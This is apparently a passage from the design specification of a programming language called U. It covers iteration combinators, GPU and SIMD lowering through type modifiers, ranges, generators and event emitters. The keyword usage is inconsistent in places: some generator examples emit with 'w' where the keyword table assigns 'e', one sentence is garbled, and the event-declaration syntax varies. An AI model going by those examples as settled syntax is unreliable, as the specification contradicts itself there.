!                     "F"

// expr :: Type — type test, returns L
shape :: Circle    & draw_circle(shape)
shape :: Rectangle & draw_rect(shape)

// Type dispatch with ?! — replaces switch/match/instanceof
area = shape :: Circle
?   Math.PI * shape.radius ^ 2
! shape :: Rectangle
?   shape.width * shape.height
!   0.0

// & | ?? — short-circuit value operators
admin  & show_admin_panel()            // guard
valid  & r => compute()             // conditional return
label = user.nickname | user.first_name | "Anonymous"  // fallback
port  = config.port ?? 8080          // null coalesce
Three syntax rules for ?!:
1. ? and ! sit at the same indent level as the condition line.
2. Arbitrary spaces after ? or ! before first content — for alignment.
3. Continuation lines must be indented (tab) to stay in the branch.
Logical enforcement on ? condition and & left side. 5 ? 2 ! 8ERROR: 5 is I, not B. Convert explicitly: L(expr) or !!(expr). | and ?? accept any type — they select values, not test conditions.
11Control Flow

Iteration — Array Methods

No for, no while. All iteration uses named methods — all native, all bounded by default, all sharing one underlying engine. The engine is .on() — the handler-registration primitive that attaches a function to a source, whether that source is a collection's elements, an error channel, or an async resolution; .map(), .filter(), and .reduce() are the same machine differing only in how the handler's return value is interpreted — as control, as data, as selection, or as an accumulator. All share the (fn, max_in_flight?) and (arrayOfFns, max_in_flight?) signatures. For unbounded / infinite iteration over streams and generators, see generators.

Compiler-transparent parallelism: .map/.filter/.on are parallel by construction

The reason these combinators can lower to SIMD lanes or a GPU kernel is structural, not heuristic. .map, .filter, and .on are element-independent: each handler invocation reads one element and produces one output, with no dependence on any other element's result. Element-independence is exactly the property that makes work embarrassingly parallel — the N invocations may run in any order, or all at once, and yield the identical result. In a C for loop this same fact must be recovered by loop-carried-dependence analysis, which is conservative and often fails; in U it is guaranteed by what the combinator means, so no analysis is required. This is the compiler-transparent thesis applied to parallelism: the combinator's shape, plus −M/−R on the element type (no aliasing, no mutation), is the parallelization license.

Vectorization and GPU lowering. On a +V element type the compiler emits SIMD across lanes; on a +R(GPU) element type it emits a GPU kernel over the grid — the same source combinator, a different backend chosen by the element modifier. Q+V lowers transparently too: exact rational lanes become paired-integer SIMD. No kernel is hand-written; data.map(fn) is the kernel.

What lowers cleanly, and divergence. Peak throughput needs the handler to be a uniform kernel: pure arithmetic, no I/O, no suspension, and ideally no per-element branch. A data-dependent branch — (x) => x > 0 ? hot(x) : cold(x) — causes divergence: a GPU warp executes in lockstep, so it runs both paths with the inactive lanes masked, paying for each branch on every element. Divergence never changes the result (the combinator is still correct and still parallel) — it only lowers the speed, degrading gracefully toward the scalar cost. So element-independence is a correctness-level guarantee of parallelizability; divergence-freedom is a performance property layered on top.

.reduce and associativity. Unlike map/filter/on, .reduce carries a cross-element dependency. It still parallelizes as a tree reduction when its combining operator is associative — sum, product, max, min, boolean-and/or all qualify — and falls back to a sequential fold otherwise. The compiler decides from the operator, not from inspecting the loop body: an associative op is $O(\log n)$ depth on parallel hardware, a non-associative one is a scalar fold.

max_in_flight and the default width. The default degree of parallelism follows the source, because the source tells the compiler which kind of concurrency applies:

SourceDefault parallelismWhat max_in_flight meansWhy
[T+V] / [T+R(GPU)]full hardware width (SIMD lanes / GPU occupancy)lane or tile bound (elements per kernel launch / register)data-parallel — serializing has no upside
plain [T]vector width if −M element and uniform handler; else scalartile boundparallel when independence holds
[T+A] (async)1 (sequential)in-flight I/O bound (concurrent suspended calls)backpressure: bound concurrent I/O

So max_in_flight is a single knob with two readings — a tile/lane bound for data parallelism, an in-flight I/O bound for async — and its default is 1 only for +A sources, where sequential-with-backpressure is the safe default. For data-parallel sources the default is the full hardware width, because there is no reason to run vector work one lane at a time. The modifier system thereby disambiguates two distinct kinds of concurrency — data parallelism and I/O overlap — from the element type alone.

+V vectorization: U as a portable kernel language

The parallelism above lowers to CPU SIMD by default. The same combinator chain lowers to a GPU warp kernel when the handler is a +V function over +V data. +V means one thing on two carriers: on a function it is vectorizable computation (this code can run in lanes); on data it is vector-ready layout (this data can be fed to such code without repacking). The two are the two ends of one requirement — a +V function consumes +V data with zero marshalling. The only separate modifier is +R(GPU), which places data in device memory.

Purity is exactly what earns the V on a function. A GPU is SIMT: a warp of 32 (or a wavefront of 64) threads shares one instruction pointer and steps in lockstep. That is precisely what a pure function tolerates and an impure one does not — no I/O, no syscalls, no suspension, no writes to shared mutable state, because a lockstep lane can do none of these. And impurity is also exactly what stops CPU auto-vectorization, so "vectorizable" and "pure numeric" are one condition, not two — which is why +V needs no companion kernel modifier. In U's algebra purity is already two axes: -E (effect-free — the spec's -E already forbids suspension) and -D (deterministic). So +V on a function entails -E -D plus statically-bounded control flow (no unbounded recursion; trip counts the compiler can see) and lane-representable operations. +V and +E are mutually exclusive — a function cannot both opt into effects and vectorize.

+V (function)  ⟹  -E -D  +  bounded control flow  +  lane-representable ops

This is the pit of success reaching the GPU: the subtractive constraints earn an additive capability. You do not annotate a function to make it fast; being pure is what licenses the lane/warp lowering, and +V is the receipt. Like +A, it is inferred where a handler qualifies (so the fast path is the default path) and assertable on demand — writing +V forces a compile error if the body is not vectorizable, instead of a silent fall back to scalar. That turns "why is my GPU code secretly running on the host?" — the classic CUDA footgun — into a diagnostic at the offending line. The compiler then places a +V computation on the best available target along a graceful ladder: GPU warps (data is +R(GPU), device present, array large enough to amortize transfer) → CPU SIMD lanesCPU threads across cores (element-independence + max_in_flight, via GCD or a thread pool) → scalar. Same source, every backend.

The data side: +V is the no-copy license, and the preparation gradient is visible in the type. A +V function consumes +V data directly. Feeding it non-+V data means the compiler must first repack into vector-ready layout (and, for GPU, stage it into device memory) — a real cost that U forbids to happen implicitly, so it surfaces as an explicit c and a compile error if omitted. The data annotations compose into a gradient where each step removes one preparation cost:

grid: [[N32]]              // unprepared: needs repack + ship to feed a +V fn
grid: [[N32+V]]           // vector-ready layout, but host-resident: still ships to GPU
grid: [[N32+V]]+R(GPU)   // vector-ready AND device-resident: zero-cost kernel feed

out = grid.on(f+V (px) => px * gain)     // +V handler ⇒ lane/warp kernel
             .filter(f+V (px) => px > floor) // fused into the same kernel
result = c+R out                     // explicit readback to host

The execution hierarchy maps onto the modifiers, not onto new syntax. The iteration space of [[N32+V]]+R(GPU) is the grid; the compiler tiles it into thread blocks (up to 1024 threads, sharing one streaming multiprocessor's resources) and warps/wavefronts (32/64 lockstep lanes). max_in_flight for a GPU source is the block/tile size — elements per launch, bounded by register and shared-memory pressure, exactly the SM-resource limit. A chained .on(…).filter(…).map(…) becomes a single fused kernel: each element flows through the whole chain in registers without materialising intermediates, the way XLA and torch.compile fuse elementwise ops.

Latency hiding falls out of element-independence. When one wavefront stalls waiting on a global-memory fetch, the SM scheduler instantly swaps in another ready wavefront to keep the cores busy. That swap is only sound because the elements are independent — there is no cross-element dependency that a reordered wavefront could violate. So the same structural independence that licenses parallelization (Prop 6.2 in the paper) is what licenses latency-hiding scheduling: the chained combinators are the wavefronts, and their independence is what lets the scheduler interleave them freely.

Memory: +R(GPU) is a residency, and crossing regimes is an explicit c

+R(GPU) denotes global device memory — the GPU's DRAM, visible to every thread across every block, persisting across kernel launches. U names only this tier, because it is the one every backend has. The finer tiers are the compiler's job and are never annotated: kernel locals are -R per-lane registers (the strongest -R there is), and shared/block, texture, and constant memory are chosen by the compiler as optimizations. Anything more granular than +R(GPU) vs -R would be vendor-specific (a CUDA concept leaking into the language), so it stays in the backend. The programmer expresses the one distinction that carries meaning — device-global vs per-lane-private — and the compiler places the rest, exactly as it allocates registers and manages cache on the CPU.

Ownership of device memory. +R(GPU) is host-owned: the host allocates the device buffer, launches kernels that read and write it, and frees it. A warp lane cannot allocate, free, or escape it — threads hold a transient, non-owning -R borrow for the kernel's duration. The data outlives every thread, but no thread let it escape; its lifetime is bounded by the host, not by any lane. This is why device residency is unmediated: +R(GPU) carries no proxy policy, and +R(GPU) +M(MVCC) (or Actor, or Mutex) is a type error — a warp cannot participate in MVCC snapshots or lock acquisition, so a mediated object simply cannot be device-resident.

Crossing between R-regimes is the same explicit c U already requires everywhere. Moving a value between ownership regimes — host +R to +R(GPU), device back to host, or either into a -R local — is an explicit copy, and using a value in the wrong regime is a compile error. The GPU adds no new transfer rule; it adds one regime value (GPU) to the set the existing rule governs. This is exactly the discipline that prevents hidden host↔device transfers — the dominant CUDA performance bug — for free, because U forbids implicit cross-regime copies for reasons that predate the GPU.

Feeding a mediated object to a kernel is where this pays off. A +M(MVCC) object cannot cross to the device with its policy intact, so c+R(GPU) src on an MVCC source generates a policy-boundary crossing: it takes a coherent snapshot out through the MVCC proxy (precisely what MVCC is good at — a consistent read without blocking writers), lands it as a plain unmediated +R(GPU) buffer, runs the kernel, and — if results must return to a mediated structure — writes them back through the proxy on the host as a proposed mutation. The programmer writes one c; the source's policy modifier is what tells the compiler to generate the snapshot. Extracting a race-free slice of concurrently-mutated data to feed a kernel, a manual and error-prone dance in raw CUDA, becomes a typed transfer whose safety the policy modifier already guarantees.

Backends: portable, not CUDA-locked

A +V chain is a device-agnostic kernel description. CUDA/PTX (via nvcc) is one backend; the target is chosen at compile time from SPIR-V (Vulkan compute), Metal (Apple), WebGPU/WGSL (portable, browser-capable), or CPU SIMD as the universal fallback. The programming model is the tensor-op model of PyTorch/XLA — elementwise and reduction ops over grids, fused and dispatched to whatever device exists — which U's combinators over [[T]] already are. Under a discrete-memory backend +R(GPU) entails a real host↔device copy across the bus; under a unified-memory backend (CUDA UVM, Apple Silicon) the same annotation lowers to a migration or placement hint, and the compiler elides redundant migrations. Same source, same types, different backend obligation.

Q on the GPU: exact arithmetic that vectorizes, normalized at the boundary

Design sketch (not yet implemented). A Q rational is a pair of integers. Q+V can vectorize as paired-integer lanes — each lane carries (num, den), and +/* are the rational formulas over the integer lanes, hitting GPU integer throughput. The intended semantics: intermediate Q values are carried unreduced through a fused kernel and are normalized (gcd) or converted to float only at the boundary where the result flows into a non-Q binding — the same deferral XLA applies to intermediates that never leave registers. So a whole vectorized pipeline can stay exact end-to-end and collapse to a concrete representation only on assignment out. The honest limit: fixed-width Q (e.g. Q64 = two I32) lives on-device; arbitrary-precision rationals can blow up in bit-width and fall back to the CPU, with overflow either trapped or promoted. Exactness that vectorizes, with a clearly-drawn edge where it stops.

The op taxonomy: what parallelizes by construction, and why @ is an operator

Not every array op is a free elementwise map, and being honest about which is which is what keeps the story credible. There are three tiers. Elementwise ops (.map/.filter/.on, + - * on arrays) are element-independent, so they parallelize by construction and fuse into one kernel. Reductions (.reduce, sum) carry a cross-element dependency but lower to a parallel tree when the operator is associative, a scalar fold otherwise. Contractions (@ matmul, convolution) are cross-element and tiling-sensitive, so their peak throughput lives in vendor libraries — U dispatches @ to the platform BLAS (cuBLAS / Metal Performance Shaders / oneMKL), exactly as PyTorch does, rather than pretend matmul is a free map. Only the first two tiers are compiler-generated kernels; the third stands on decades of vendor tuning.

Why @ is an operator, not a library call. A function matmul(a,b) is opaque to the compiler; an operator @ is syntax the compiler owns, which licenses it to inspect the operands' static shapes at the use site — the same "the notation is a license" move as the rest of the algebra. That inspection buys two things a function forfeits: dual lowering by size — a statically-small fixed @ (a 3×3 or 4×4 per-element transform) unrolls to inline arithmetic inside a +V lane, while a large or dynamic @ dispatches to BLAS at the pipeline level — and compile-time shape checking, so a nonconformable multiply is a type error at the call site, not a runtime crash. @ generalizes to any rank as batched matmul: the trailing two dimensions are the matrix, the leading dimensions are batch (element-independent, parallelized freely), matching numpy/torch.matmul on >2D. General arbitrary-axis contraction (einsum) is deliberately out of scope for @ — it needs an index spec the operator cannot carry.

Mixing CPU and GPU stages by +V-ness. The compiler reads the +V-ness of what each .on() is called on to pick max_in_flight's default: a +V source is data-parallel, so the default is the grid/lane width (~1024); a non-+V source is CPU concurrency, so the default is ~cores (or 1 for +A I/O backpressure). Two independent a-pipelines therefore dispatch to different devices concurrently for free:

bar = a foo.on(...).filter(...)   // foo is +V  → GPU warps, max_in_flight ~ 1024
baz = a moo.on(...)              // moo not +V → CPU threads, max_in_flight ~ cores

Within one chain that crosses +V↔non-+V, width is per-stage and the seam is a bounded one-tile re-batch point co-located with the c transfer that crossing already requires — so execution stays buffer-free except at genuine device seams, each of which is visible in the annotations. The +V-ness of the source is the one fact that selects the whole schedule.

.on() uses the three-signal convention — its handler returns L+N, and the compiler inserts an implicit none when the handler's last expression isn't an L+N (so an effect-only body — the common case — is "continue" for free, with no ceremony). .filter() expects a plain Ltrue=keep, false=drop — because in a predicate, true-means-keep is the entrenched intuition; filter is expressively loop-minus-break but is kept as an ergonomic preset so predicates read naturally. .map()'s return is the emitted value (data, not a signal); it always continues and cannot skip or break, which is exactly why map can't be the primitive — its return channel is spent on data, leaving no room for control.

.on() three-signal (L+N) — .filter() takes plain L, .map() takes a value, .reduce() takes an accumulator
Handler returnsEmit downstream?Continue iterating?
none (default / implicit)Yes — emit (keep) this elementYes — continue
falseNo — skip (drop) this elementYes — continue
trueNo — break (abort the pipeline)
Mnemonic: falsy continues, truthy breaks. none and false are both falsy and both continue — they differ only on emit (none keeps, false drops), which is precisely why loop needs three signals where filter needs two. The one truthy value, true, is the only thing that stops iteration.
Forever loops are loud. A .on() over an infinite source whose handler can never return true is infinite. This must be acknowledged explicitly with !w.on!(print) — mirroring the +A(w) discipline where waiting forever is always something you say on purpose.
MethodReturnsNotes
.on(fn, max_in_flight?)streamThe primitive. Passes (value, carry)carry is the 1-based index / key. Declare one param to drop the carry. Handler returns the three-signal L+N. Emits its inputs (identity) unless it drops/breaks. Chainable.
.map(fn, max_in_flight?)stream [U]Return is the new element. Always continues; cannot skip or break. Passes (value, carry).
.filter(pred, max_in_flight?)stream [T]Plain predicate F(T)→L: true=keep, false=drop. No none, no break. The carry survives; dropped elements simply don't appear (so an array, once filtered, is sparsely-keyed like a map).
.reduce(fn, init)U(acc, item) => new_acc. Return is the threaded accumulator. Terminal (produces a value, forces the stream). Sequential unless fn is associative.
.find(pred)T +NStops at first non-false return. Returns the item or none.
.slice(start?, end?)[T]1-based, inclusive. slice(2,4) = indices 2,3,4. slice(3) = index 3 to end. slice(-3) = last 3 elements. Non-mutating.
.splice(start, n?, items?)[T]Remove n elements at start, optionally insert items: [ElemType]. Returns removed elements. Requires +M.
.reverse()[T]Returns reversed copy. Non-mutating.
.sort()[T]Natural order. Requires T to implement __compare__. Non-mutating.
.sort(key: F(T)→K)[T]Key function — one-param lambda extracts a comparable value. Overload selected by lambda arity.
.sort(cmp: F(T,T)→L)[T]Comparator — two-param lambda, returns L ("is a before b?"). Overload selected by lambda arity.
.sort(reverse: L)[T]Natural order reversed. Named param distinguishes from key/comparator overloads.
.last()T+NLast element. Sugar for arr[arr.length]. Returns none if empty.
.all(pred)LSynchronous: true if every element satisfies pred. Short-circuits on first false.
.any(pred)LSynchronous: true if any element satisfies pred. Short-circuits on first true. any(f) = !all(!f) by De Morgan.
.all()[T]+AAsync join on [T+A] only. Awaits all concurrently; results in input order.
.any()T+N+AAsync race on [T+A] only. Resolves with first completed value or none.
Uiteration.u
// .filter() — three signals
active = users.filter((user) => user.active ? none ! false)     // include if active
first10 = items.filter((item) => (
    taken = taken + 1
    taken <= 10 ? none   // include
    !            true     // stop
))

// .map() — return value is the new element
names = users.map((user) => user.first_name + " " + user.last_name)
doubled = nums.map((num) => num * 2)

// .reduce() — fold
total = orders.reduce((acc, order) => acc + order.amount, 0.0)

// .find() — returns T +N, caller knows what they called
user: User+N = users.find((user) => user.id == target ? none ! false)
user != none & process(user)  // or:  user ?? default_user

// .all() — Promise.all: await all +A values, results in input order
pending: [S+A] = urls.map((url) => a fetch(url))    // N concurrent coroutines
pages:   [S]    = pending.all()                          // await all, ordered

// .any() — Promise.race: returns T +N +A, caller knows
winner: S+N+A = pending.any()  // first to resolve, or none
winner != none & render(winner)

// .sort() — three overloads by lambda arity
nums    = [3, 1, 4, 1, 5]
sorted  = nums.sort()                     // natural order: [1, 1, 3, 4, 5]
rev     = nums.sort(reverse: true)        // reversed:      [5, 4, 3, 1, 1]

users   = [User(name:"Bob",age:30), User(name:"Ali",age:25)]
by_age  = users.sort(u => u.age)          // key fn (1-param lambda) → ascending by age
by_name = users.sort(val => val.name)         // key fn → lexicographic
by_custom = users.sort((a, b) => a.score > b.score)  // comparator (2-param lambda → L)

// Overload selected purely from lambda arity — no return type needed:
//   ()          → .sort()   natural
//   (reverse:L) → .sort()   reversed
//   (T)         → .sort()   key function
//   (T,T)       → .sort()   comparator

// .on() is the primitive — events, errors, side-effect iteration
users.on((user) => log(user.name))    // for-each with side effect (body is none → continue)
e.on(MyLib.network_policies)           // error handler registration
clicks.on((evt) => handle_click(evt))  // event subscription
.all() and .any() are native methods, not library functions. They are promise-aware at the language level: mixed [S, S +A, S +A] arrays work naturally — regular values pass through instantly, +A values are awaited concurrently. Results always come back in input order. If any +A value rejects, it throws — caught by e.on() handlers. No .catch() needed.

One machine, four readings of the handler's return

map, filter, loop, and reduce are not four operators — they are one iteration engine parameterized by how the handler's return value is read. That is why they share the (fn, max_in_flight?) signature and all chain the same way; only the return-interpretation differs.

MethodHandler return is read as…Can skip?Can break?
loopcontrolL+N (emit / skip / break)yes (false)yes (true)
filterselectionL (keep / drop)yes (false)no
mapdata — the return is the new valuenono
reduceaccumulator — threaded foldnono

loop is the general member because it is the only one whose return is pure control — the others spend their return channel on data, selection, or accumulation. filter's true means keep where loop's true means break; the polarity legitimately differs because the two types differ (L vs L+N) and the reader knows which by which method was called.

Fan-out: an array of functions widens the value, not the stream

The first argument can be a single function or an array of functions. An array runs each function against the current element and packs the results into one array that flows downstream as a single element — the carry stays 1-to-1, so fan-out widens the value, never the stream:

Ufan-out
// slot k → one element ([fv, gv, hv], k)
rows.on([parse, validate, enrich], 4)
// a function whose arity/type doesn't fit a slot contributes `none` there

The handler receives (value, carry) by declared arity — declare one parameter to drop the carry (so [1..].on(print) passes just the value). A function whose arity or types don't match its slot yields none in that position rather than erroring, so a fan-out array can contain none holes.

Streams, laziness, and auto-run

.on()/.map()/.filter() return a stream — a lazy, pull-based, possibly-infinite sequence, essentially a +F generator with a pull operation (arrays, sets, maps, and generators all implement one pull protocol; a keyed source yields (key, value) pairs). Construction does no work: each call builds a node and returns. A chain like gen.map(f).on(h) is ordinary left-associative method chaining; what runs right-to-left is demand — the terminal stage pulls upstream. The justification is laziness, not any special associativity.

Force on consumption — never on construction, assignment, or storage. A generator stays lazy while stored or passed, so infinite sources work: g = w.map(f) holds a lazy stream and does not hang. It forces when its values are consumed as non-stream data (a reduce, a materialize, a driven loop). A dangling effectful terminal written as a statement (arr.map(f).on(print)) is auto-run — nothing else will consume it, so its purpose must be its effect. A dangling pure pipeline whose result is discarded is a warning (you computed a result and dropped it — probably a bug).

max_in_flight, demand-pull, and backpressure

The optional second argument bounds concurrency. In a right-to-left pull chain gen.on(A, 3).on(B, 5), max_in_flight is how many calls in a stage may be unfinished before it stops pulling upstream. A call is "unfinished" for any reason — still computing, awaiting I/O, or blocked acquiring a resource — all identical to the loop. Nothing buffers values: a stage produces a value only to fill a pull already waiting for it, so what queues under load is demand (parked pulls), never data. One number is at once the concurrency, the memory ceiling, and the backpressure trigger.

Backpressure vs. starvation. Backpressure is a stage's pulls not reaching upstream (upstream is at its limit) — upstream stalls, which is the bounded, desired behavior. Starvation is a pull reaching upstream before a value is ready — the downstream stage idles briefly. Starvation is self-correcting (an idle consumer adds no load) and raising max_in_flight reduces it; unbounded buffering, by contrast, is a ratchet that demand-pull structurally avoids.
RAII composes with backpressure for free. Because a blocked call holds its in-flight slot until it finishes, a constructor that acquires a limited resource is a backpressure gate: files.map(name => File(name), 20) throttles to at most 20 open handles because the 21st File(...) simply doesn't finish (and so its slot isn't freed) until a handle is available. Resource Acquisition Is Initialization — and acquisition is exactly the thing that can be throttled, for any resource.
Single-threaded cooperative by default. map/loop run on one cooperative thread — the pit of success. A coroutine yields only at an explicit suspension point, so a mutation like sum += index is atomic unless it straddles an a/await inside a concurrent loop (the one case the compiler warns about). This is what keeps shared state safe by default and reasoning local. Multi-core scaling is explicit and share-nothing (multiple isolated single-threaded processes, as Node and asyncio do) — clean because nothing is shared; true in-process work-stealing, which would spend all of these guarantees, is not the default.
11.5Control Flow

Ranges — .. and ...

Range syntax produces numeric sequences — no special Range type. Ranges are numeric only (no string/lexicographic ranges). Arithmetic is element-wise. The compiler recognizes range-derived arrays in .on() and emits a tight counter loop — no array allocated.

Compile-time initialization. When a range maps over a pure function with all-constant inputs, the compiler evaluates it at compile time — inferred from the literals, no annotation needed: squares = [0..255].map(n => n * n) becomes a static lookup table.

[a..b] — inclusive both ends · [1..5] = [1, 2, 3, 4, 5]
[a...b] — exclusive end · [1...5] = [1, 2, 3, 4]
Arithmetic is element-wise: [1..5]*2 = [2,4,6,8,10]

Ranges are for generating sequences. Array slicing uses .slice() — see Iteration.
Urange syntax
// Inclusive — both ends included
arr = [1..5]           // [1, 2, 3, 4, 5]
arr = [5..1]           // [5, 4, 3, 2, 1] — descending

// Exclusive end
arr = [1...6]          // [1, 2, 3, 4, 5]  (not 6)
arr = [1..6]           // [1, 2, 3, 4, 5, 6] (includes 6)

// Arithmetic is element-wise
[1..5]*2               // [2, 4, 6, 8, 10]
[5..1]*2               // [10, 8, 6, 4, 2]

// .on() on range — compiler emits tight loop, no allocation
[1..n].on((val) => draw(val))
[1..rows].on((row) =>                    // rows 1 through rows
    [1..cols].on((col) =>                 // cols 1 through cols
        matrix[row][col] * scale         // 1-based index — natural
    )
)

// Array slicing uses .slice(), not range subscript syntax:
arr.slice(2, 4)           // elements at indices 2, 3, 4 (inclusive)
arr.slice(1, arr.length)   // all elements
arr.slice(-3)             // last 3 elements
Compiler optimization. When .on() is called on a range-derived array, the compiler recognizes the pattern and emits a counter loop — same machine code as hand-written C, no array allocated.
Control Flow

Generators — e value and Streams

Inside a generator function, e value emits one value to the caller and continues running. The caller receives values lazily via .on(), .take(), or .map(). Use [1..w] for an infinite integer range.

A handler passed to .on() returns none to continue or true to stop — functions and lambdas return none implicitly when they fall off the end, so you only need to write none explicitly when returning it mid-lambda. Bare ( ) expression blocks return their last expression value as usual. There are no loop keywords — iteration is always method-based.

Ugenerators.u
// Generator function — e value emits, then continues
f naturals() -> I+W
    num = 1
    [1..w].on(() => (
        w num         // emit, then continue
        num = num + 1
        none          // continue
    ))

// Fibonacci
f fibonacci() -> I+W
    prev = 1
    curr = 1
    [1..w].on(() => (
        w curr
        next = prev + curr
        prev = curr
        curr = next
        none
    ))

// Consume with .on() — return true to stop, none to continue
fibonacci().on(n => n > 1000 ? true ! none)

// Take first N
fibonacci().take(10).on(n => print(n))

// Skip blank lines — return none to continue, process otherwise
f process_lines(lines: [S]+W)
    lines.on(line => (
        line.is_empty() ? none               // skip
        ! line.starts_with("#") ? none        // skip comments
        ! process_line(line) | none          // process, continue
    ))
+W propagates. .map() and .filter() on a T+W produce U+W. .take(n) and .first() terminate the stream. .reduce(), .sort(), and .last() on +W are compile errors — they require a finite collection.
Streams

Streams — e (events and generators)

e value emits one value from a generator to its caller and continues. [1..] creates an infinite range. Streams propagate through .map() and .filter(), and are terminated by .take() or .first().

Ustreams.u
// e value = emit to caller, continue running
f fib() -> I+W
    prev = 1
    curr = 1
    [1..w].on(() => (
        e curr                   // emit to stream, then continue
        next = prev + curr
        prev = curr
        curr = next
        none                     // continue
    ))

// Infinite range arithmetic:
evens: I+W = [0..w]*2          // 0, 2, 4, 6, ...
neg_e: I+W = [0..−w]*2         // 0, -2, -4, ...

// +W propagates; .take() terminates it:
fib().take(10).on(num => print(num))
big = fib().filter(num => num > 100 ? none ! false).take(5)

// .reduce() .sort() .last() .all() on +W = compile error (needs finite)
No () => vs () =>. Use () => when the iteration parameter is not needed. There is no _ discard — single characters are reserved for keywords and type primitives. Unused named parameters are silently allowed.

Three primitives — the entire language

Programming languages accumulate constructs. for for iteration, switch for dispatch, try/catch for errors, with for resources, async/await for concurrency, #pragma omp for parallelism, CUDA for GPUs, generators for laziness, enums for variants, event listeners for reactivity. Each is a new block shape with its own scoping rules, its own nesting behavior, its own interaction with every other construct. A modern codebase routinely nests five of these inside each other.

U has three primitives. They replace all of it.

.on() — dispatch

.on() takes a source of typed values and dispatches each to a handler whose type signature matches. What varies is the source and the interpretation of the handler's return value. That single pattern absorbs every block-scoped dispatch construct other languages provide:

Construct eliminatedHow .on() replaces itWhy
for / while / do[1..n].on(num => ...)Handler is a function → element-independent → auto-parallel
break / continueThree-signal: true / false / noneHandler return value is the control flow
switch / matchOverloaded handlers by typeDispatch by signature; exhaustiveness from the type hierarchy
enum / union / sealed.on() over a class hierarchyVariants are subclasses; overloads cover each one
try / catch.on() over error typesErrors are typed values — same dispatch
Event listenerssource.on(handler)Events are values; handlers are overloads
if / else if / else chains.on() or inline ? !Type-test chains are single-element .on()
Generators / yielde + .on()e value yields; consumer iterates via .on()
Backpressure / streamsStreams + three-signaltrue = stop = backpressure; max_in_flight bounds concurrency
Iterator protocol.on() is the protocolNo next() / done / value ceremony

One method works for all of these because dispatch, iteration, and event handling are the same operation from different angles: a source produces typed values, handlers consume them by type signature, and the return value means continue, stop, or skip. The source varies — a range, a class hierarchy, an error channel, an event stream — but the mechanism never does.

Modifiers — semantics

Where .on() handles what runs, modifiers handle how it runs. The same .on() call, the same handler, the same three-signal return — but the modifier on the data determines the execution strategy:

Modifier on dataWhat .on() becomesReplaces
+VSIMD-vectorized across lanesOpenMP, hand-written SIMD intrinsics
+R(GPU)GPU kernel over a warp gridCUDA kernel launch, OpenCL dispatch
StreamsLazy streaming, chunk-at-a-timeGenerator protocol, Rust Iterator, Python yield
+AAsync; max_in_flight = concurrency boundPromise.all, asyncio.gather, Rx
+M(policy)Policy-governed (MVCC/Actor/Mutex)synchronized, locks, channels, volatile
+R(RAII)Deterministic cleanup at scope exitfinally, with, using, defer
-M (default)Immutable — no annotation neededconst, readonly, final
-N (default)Non-null — no annotation neededOptional, nullable ?
-R (default)Stack-allocated — no GC, no ARCGarbage collection, malloc/free

The programmer writes the logic once. The modifier annotation tells the compiler which backend to use — and because the annotation is also a safety invariant (immutability, non-null, no aliasing), the compiler has the parallelization license for free. No analysis required; the type is the proof.

Ten keywords — everything else

What remains after .on() and modifiers is handled by ten single-letter keywords and three literals. No block syntax, no braces, no nesting:

LetterRoleReplacesNote
ffunctionfunction / fn / def / funcModifiers trail: f+G, f+V
aasyncasync / awaitNo coloring; a f symmetric with z f
zcompile-timemacros, decorators, AOP, DISame mechanism as a, different domain
dclassclass / struct / typeLayout from modifiers, not keyword
ethrow errorthrow / raiseTyped; surface on signature via !
ooutsideimport / export / moduleOne keyword, both directions
rreturnreturnr => expr
tthis / selfthis / selfOptional for own members
w∞ (infinity)InfinityInfinity literal: [1..w], [1..]
ccopy.clone() / copy()Prefix operator: c expr, c+R expr
The chainable generator. These three primitives compose. .on() returns a value, so pipelines chain: data.filter(pred).map(transform).reduce(combine). Each stage is .on() composition — the pipeline is the iteration, with no separate iterator object or generator state machine. Add +W and the chain is lazy (each stage pulls chunk-at-a-time). Add +V and adjacent stages fuse into one vectorized pass. Wrap it in df\`\` and __validate__ optimizes the pipeline at compile time — predicate pushdown, projection pruning, join reordering. Add +R(GPU) and the fused pipeline emits a GPU kernel. Same chain, same .on(), same three-signal return. Twenty-eight constructs, three primitives, one mechanism.

Event emitters — w context value

A generator function yields via e value to its stream. e: on a type declares event types, making it an event emitter (push, pushes via e(t).emit(value)). e value yields from generators; e(obj).emit(value) pushes to event streams.

// Event emitter: +W on a type, .emit() pushes values
d Sensor
e: TempReading, OverheatAlert
    name: S = ""

    f start() -> none
        [1..w].on(() => (
            reading: N = read_hardware()
            e(t).emit(reading)             // emit to this instance's subscribers
            delay(100)
        ))

// Subscribe, chain, filter — same API as generators
temp = Sensor({name: "thermostat"})
temp.filter(val => val > 30.0)
    .on(val => alert("overheating: " + val), 4)
// e(obj) returns the generator — class methods stay clean:
gen = e(temp)
gen.on(reading => log(reading))
gen.off(gen.handlers[1])
temp.start()
FormWhereMeaning
e valueGenerator functionYield value to stream — suspend and continue
e(obj)ExpressionAccess the event stream of a class with e: declarations declarations
e(obj).emit(value)AnywherePush event (blocks until handler accepts, ! HeapOverflow on saturation)
e(obj).dispatch(value)AnywhereCapture → target → bubble on +R(Events) ownership tree
[1..]ExpressionInfinite range (shorthand for [1..w])
[1..11; 2]ExpressionRange with step: [1, 3, 5, 7, 9, 11]
e(obj)ExpressionAccess the event stream of a class with e: declarations — supports full Rx algebra
Ownership trees — +W on properties. Mark a property with +R(Events) to declare it as the dispatch parent link: container: Element +R(Events) +N = none. Composes with other policies: +R(Events) +M(MVCC). The compiler follows this property for capture/bubble in .dispatch(). Zero +R(Events) parent properties → dispatch is local only. One → that's the parent. Multiple → compile error. Other same-class properties without +R(Events) (like sibling: Element +N) are not followed.
Handlers run in parallel, three-signal controls the iterator. All handlers in a policy that type-match a given event run in parallel (with max_in_flight concurrency). The three-signal return controls the iterator, not handler dispatch: none = processed, crank next event; false = rejected/skipped, crank next; true = done, stop listening (unsubscribe). Type matching determines which handlers fire — not order, not priority. No "try first match, skip rest." This is the same model as .on() on lists: the signal tells the source whether to keep producing.
Declaring event types. d Foo +W !EventType1 !EventType2 declares which types the class can emit — same ! syntax as function error declarations (f fetch() -> S !NetworkError). The compiler enforces: e(t).emit(value) must emit a declared type, e(obj).on((ev: T) => ...) must reference a declared type, e(obj).off(T) must reference a declared type. No undeclared events pass silently.
Generators vs event emitters. Generators are pull: the consumer cranks the generator to produce the next value. Without cranking, no value is produced — backpressure is automatic. Event emitters are push: .emit(value) blocks until a handler slot opens. This is correct — blocking naturally propagates backpressure upstream. An HTTP server that can't push events downstream simply stops accepting requests (429). If blocked closures pile up past the system threshold, ! HeapOverflow is thrown — catchable via e.on(), debuggable with full stack trace. Overflow strategies (.drop(), .latest(), .buffer(n)) prevent the error entirely by never accumulating blocked closures.

Overflow strategies — external event sources

